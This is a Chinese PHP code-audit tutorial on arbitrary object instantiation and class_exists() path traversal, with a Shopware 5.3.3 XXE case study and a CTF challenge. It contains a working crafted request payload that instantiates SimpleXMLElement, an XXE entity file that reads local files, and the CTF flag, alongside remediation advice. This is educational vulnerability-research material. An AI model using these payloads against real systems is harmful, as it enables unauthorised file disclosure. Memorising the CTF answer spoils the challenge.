[红日安全]代码审计Day3 - 实例化任意对象漏洞
字数 1380 2025-08-18 11:37:33

PHP代码审计:实例化任意对象漏洞与XXE攻击分析

1. 漏洞概述

本文详细分析PHP代码中两种常见的安全漏洞:

  1. 通过class_exists()函数导致的文件包含漏洞
  2. 通过任意对象实例化导致的XXE攻击漏洞

2. class_exists()函数漏洞分析

2.1 漏洞原理

if(class_exists($classname)) {
    $newclass = new $classname($param,$param2);
    // ...
}
  • class_exists()函数在PHP5~5.3版本中,当$autoload参数为true(默认值)时会自动调用__autoload函数
  • 攻击者可以利用路径穿越符号(如..)包含任意文件
  • 示例攻击:类名为..etc/passwd时,可能查看passwd文件内容

2.2 函数定义

bool class_exists ( string $class_name [, bool $autoload = true ] )
  • $class_name:类名(不区分大小写)
  • $autoload:是否自动调用__autoload函数(默认为true)

3. 任意对象实例化漏洞

3.1 漏洞原理

当代码允许用户控制类名和构造函数参数时,攻击者可以:

  1. 实例化PHP内置类(如SimpleXMLElement
  2. 通过XXE攻击读取文件或执行命令

3.2 SimpleXMLElement类

final public SimpleXMLElement::__construct (
    string $data [, 
    int $options = 0 [, 
    bool $data_is_url = FALSE [, 
    string $ns = "" [, 
    bool $is_prefix = FALSE ]]]]
)
  • 用于表示XML文档中的元素(PHP内置类)
  • $data_is_url为true时,可以从URL加载XML数据

4. 实例分析:Shopware 5.3.3 XXE漏洞

4.1 漏洞链分析

  1. ProductStream.php中的loadPreviewAction方法接收用户输入的sort参数
  2. 参数传递路径:
    • Repository::unserialize()
    • LogawareReflectionHelper::unserialize()
    • ReflectionHelper::createInstanceFromNamedArguments()

4.2 关键代码

// ReflectionHelper.php
public function createInstanceFromNamedArguments($className, $arguments) {
    $reflectionClass = new ReflectionClass($className);  // 用户可控的类名
    // ...
    $newParams = [];
    foreach ($constructorParams as $paramName => $param) {
        $newParams[] = $arguments[$paramName];  // 用户可控的参数
    }
    return $reflectionClass->newInstanceArgs($newParams);  // 实例化对象
}

4.3 漏洞利用

原始请求:

GET /shopware520/backend/ProductStream/loadPreview?...&sort={"Shopware\\Bundle\\SearchBundle\\Sorting\\PriceSorting":{"direction":"asc"}}...

构造的恶意payload:

{
    "SimpleXMLElement": {
        "data": "http://localhost/xxe.xml",
        "options": 2,
        "data_is_url": 1,
        "ns": "",
        "is_prefix": 0
    }
}

4.4 XXE攻击文件示例

xxe.xml内容:

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE ANY [
    <!ENTITY xxe SYSTEM "file:///C:/phpStudy/PHPTutorial/WWW/flag.txt">
]>
<x>&xxe;</x>

5. 修复建议

5.1 XXE漏洞修复

  1. 过滤XML中的关键词(如ENTITYSYSTEM
  2. 禁止加载XML外部实体:
libxml_disable_entity_loader(true);

5.2 通用防护措施

  1. 对用户输入的类名进行白名单校验
  2. 限制可实例化的类范围
  3. 禁用危险的PHP内置类
  4. 升级PHP版本(解决class_exists()路径穿越问题)

6. CTF题目分析

6.1 题目代码

// index.php
class NotFound {
    function __construct() { die('404'); }
}

spl_autoload_register(function ($class) {
    new NotFound();
});

$classname = isset($_GET['name']) ? $_GET['name'] : null;
$param = isset($_GET['param']) ? $_GET['param'] : null;
$param2 = isset($_GET['param2']) ? $_GET['param2'] : null;

if(class_exists($classname)) {
    $newclass = new $classname($param,$param2);
    var_dump($newclass);
    foreach ($newclass as $key=>$value)
        echo $key.'=>'.$value.'<br>';
}

// f1agi3hEre.php
$flag = "HRCTF{X33_W1tH_S1mpl3Xml3l3m3nt}";

6.2 解题思路

  1. 目标:读取f1agi3hEre.php中的flag
  2. 限制:
    • spl_autoload_register会拦截未定义的类并返回404
    • 需要找到已定义的类或绕过自动加载机制
  3. 可能的解法:
    • 使用PHP内置类(如SimpleXMLElement)进行XXE攻击
    • 利用class_exists()特性包含文件

7. 总结

  1. class_exists()函数在特定PHP版本中可能导致文件包含漏洞
  2. 任意对象实例化漏洞可导致XXE攻击等严重后果
  3. 开发中应对用户输入的类名和参数进行严格过滤
  4. 及时更新PHP版本和应用补丁

8. 扩展学习

  1. PHP魔术方法(如__autoload__construct)的安全影响
  2. PHP反射API的安全使用
  3. XXE攻击的多种利用方式和防御措施
  4. PHP内置类的安全风险(如SoapClientZipArchive等)
PHP代码审计:实例化任意对象漏洞与XXE攻击分析 1. 漏洞概述 本文详细分析PHP代码中两种常见的安全漏洞: 通过 class_exists() 函数导致的文件包含漏洞 通过任意对象实例化导致的XXE攻击漏洞 2. class_ exists()函数漏洞分析 2.1 漏洞原理 class_exists() 函数在PHP5~5.3版本中,当 $autoload 参数为true(默认值)时会自动调用 __autoload 函数 攻击者可以利用路径穿越符号(如 .. )包含任意文件 示例攻击:类名为 ..etc/passwd 时,可能查看passwd文件内容 2.2 函数定义 $class_name :类名(不区分大小写) $autoload :是否自动调用 __autoload 函数(默认为true) 3. 任意对象实例化漏洞 3.1 漏洞原理 当代码允许用户控制类名和构造函数参数时,攻击者可以: 实例化PHP内置类(如 SimpleXMLElement ) 通过XXE攻击读取文件或执行命令 3.2 SimpleXMLElement类 用于表示XML文档中的元素(PHP内置类) 当 $data_is_url 为true时,可以从URL加载XML数据 4. 实例分析:Shopware 5.3.3 XXE漏洞 4.1 漏洞链分析 ProductStream.php 中的 loadPreviewAction 方法接收用户输入的 sort 参数 参数传递路径: Repository::unserialize() LogawareReflectionHelper::unserialize() ReflectionHelper::createInstanceFromNamedArguments() 4.2 关键代码 4.3 漏洞利用 原始请求: 构造的恶意payload: 4.4 XXE攻击文件示例 xxe.xml 内容: 5. 修复建议 5.1 XXE漏洞修复 过滤XML中的关键词(如 ENTITY 、 SYSTEM ) 禁止加载XML外部实体: 5.2 通用防护措施 对用户输入的类名进行白名单校验 限制可实例化的类范围 禁用危险的PHP内置类 升级PHP版本(解决 class_exists() 路径穿越问题) 6. CTF题目分析 6.1 题目代码 6.2 解题思路 目标:读取 f1agi3hEre.php 中的flag 限制: spl_autoload_register 会拦截未定义的类并返回404 需要找到已定义的类或绕过自动加载机制 可能的解法: 使用PHP内置类(如 SimpleXMLElement )进行XXE攻击 利用 class_exists() 特性包含文件 7. 总结 class_exists() 函数在特定PHP版本中可能导致文件包含漏洞 任意对象实例化漏洞可导致XXE攻击等严重后果 开发中应对用户输入的类名和参数进行严格过滤 及时更新PHP版本和应用补丁 8. 扩展学习 PHP魔术方法(如 __autoload 、 __construct )的安全影响 PHP反射API的安全使用 XXE攻击的多种利用方式和防御措施 PHP内置类的安全风险(如 SoapClient 、 ZipArchive 等)